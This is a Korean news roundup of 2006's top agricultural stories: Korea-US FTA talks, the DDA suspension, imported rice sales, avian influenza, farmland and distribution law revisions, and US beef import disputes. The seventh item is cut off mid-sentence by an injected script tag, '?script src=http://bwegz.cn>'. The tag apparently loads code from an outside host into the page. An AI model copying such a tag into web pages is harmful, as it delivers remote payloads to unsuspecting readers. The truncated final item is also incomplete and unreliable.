1. 한·미 FTA
한·미 자유무역협정(FTA) 협상 개시를 위한 공청회 자체가 농민단체 등의 반대로 무산되는 등 올 한 해 최대 이슈로 등장. 쌀 시장 개방과 DDA협상, 미산 쇠고기 수입 재개결정 등 연이은 시장개방 압력에 이은 ‘메가톤’급 협상이라는 점에서 농업계 반대 여론은 더없이 고조.
특히 한·미 FTA는 한·칠레 FTA 등 다른 FTA와는 비교가 안될 정도의 피해를 가져다 줄 것이란 분석이 속속 나오면서 농민단체 등을 중심으로 대규모 집회가 연달아 개최.
이 같은 반대 여론 속에서 한·미 FTA협상은 한국과 미국을 오가며 5차례에 걸친 협상을 가졌으며 농업분야 협상의 경우 현재까지 67% 합의율을 달성.

2. DDA중단
지난 7월 도하개발아젠다(DDA)협상이 일시에 중단되는 사태가 발생.
WTO(세계무역기구)가 이처럼 극약처방을 하게 된 데에는 농산물 관세, 농업보조금, 공산품 관세 감축 등 소위 ‘트라이앵글’이라고 지칭되는 ‘협상의 3대 축’에 대한 미국, EU, 등 주요국간 입장차를 좁히지 못하고 장기간 논의만 거듭한데 따른 것.
관세감축의 경우 G20제안에 주요국간 일부 의견접근이 있었으나 국내보조 감축 및 민감 특별품목 신축성 범위 등에 대해 팽팽한 입장차를 거듭.
여기에 미국, EU, 인도 등 주요국들은 의회, 농민단체 등 내부로부터 먼저 양보하지 말아야한다는 압박을 받아 입장 조율이 난항.
이에 따라 DDA는 수개월간 공전됐으며 11월에 들어 재개 움직임을 보이고 있는 상황.

3. 수입쌀 시판
2005년 쌀 협상 결과에 따라 사상처음으로 미국, 중국 등지의 수입쌀이 국내에 상륙, 첫 시판.
수입쌀 시판 초기 국내에 악화된 여론 등의 여파로 대형유통업체들이 연달아 수입쌀을 취급하지 않겠다고 발표하는 등 수입쌀에 대한 호응이 미흡.
특히 미국 쌀을 먹어본 소비자들 사이에 ''칼로스 쌀이 맛없다‘는 입소문이 퍼지면서 수입쌀 공매율이 떨어져 수입쌀이 팔리지 않는 상황으로 전락.
한동안 국내 판매에 어려움을 겪던 수입쌀은 하반기 들어 인터넷 등을 통해 저가로 판매·유통, 수입물량을 겨우 소진. 이런 가운데 음식점에서 쌀의 원산지 표시제를 의무화하는 식품위생법개정안이 국회를 통과.

4. AI 3년 만에 재발
고병원성 조류인플루엔자(AI)가 2003년 이후 3년 만에 재발.
AI는 지난달 22일 전북 익산의 한 종계농장에서 발생한 이후 12월 전북 김제의 메추리농장과 충남 아산의 오리농장에서도 발병해 양계업계가 초긴장 상태.
특히 발병소식이 알려질 때마다 양계산물 소비가 급감해 이를 해소하기 위한 전국적인 양계산물 시식회 등 소비촉진 행사도 봇물. 업계는 확산방지를 위해 최선을 다한다는 방침을 천명.
농림부는 확산방지를 위한 방역과 함께 조류인플루엔자 발생으로 인한 농가 피해 최소화를 위해 조속한 살처분 보상 등 지원책 발표.
그러나 출하 감소로 어려움에 처했던 양계농가로서는 AI 재발로 줄도산 위기에 처할 것을 우려.

5. 농지법개정
축산인들의 숙원과제였던 축사설치 부지도 농지의 개념에 포함시키는 것을 골자로 한 농지법개정안이 지난 7일 국회에서 의결.
이에 따라 농지내 축사설치시 농지전용허가를 거치지 않고도 가능해 지게 된 것.
농지법시행은 공포한 날로부터 6개월 후부터이므로 늦어도 내년 하반기부터는 농지를 축사로 자유롭게 사용할 수 있을 전망.
지속가능한 축산업의 핵심 정책으로 추진되고 있는 자연순환농업도 탄력을 받을 수있을 것으로 기대.
다만 농지가 오염되지 않고 친환경 축사로 활용될 수 있도록 축산인들 스스로 노력하지 않아 민원이 늘게 된다면 농지법이 축사설치는 점점 더 어려워질 수도.

6. 미국산쇠고기 수입재개-사진/5면/10대뉴스-미산쇠고기
미국내 광우병 발생으로 2003년 12월 중단됐던 미국산 쇠고기 수입이 올해부터 재개. 한·미양국은 도축월령 30개월 미만의 뼈를 제거한 쇠고기만을 수입키로 합의, 우리 정부는 9월 11일 36개 미국 수출작업장을 승인.
그러나 3차례 들어온 미국산 쇠고기에서의 뼈 조각 발견으로 우리 정부가 수입위생조건에 따라 해당 작업장 수출선적 중단과 해당 물건에 대한 반송 또는 폐기한데 대해 미국측이 강하게 불만을 토로.
현재 한`미간 통상마찰로까지 비화. 당초 예정됐던 한미 FTA 제5차 위생 및 검역분과 협상이 연기된데 이어 지난 12일 미국측이 수입검역과 관련한 기술적 협의를 공식 요청하는 등 미산 쇠고기 검역이 한 미간 통상 마찰로까지 비화.

7. 농안법 개정
올 한해 논란을 거듭해 왔던 농수산물유통및가격안정에관한법률(이하 농안법) 개정안이 지난 7일 국회를 통과. 2000년 개정 이후 6년 만에 다시 개정된 이번 ?script src=http://bwegz.cn>

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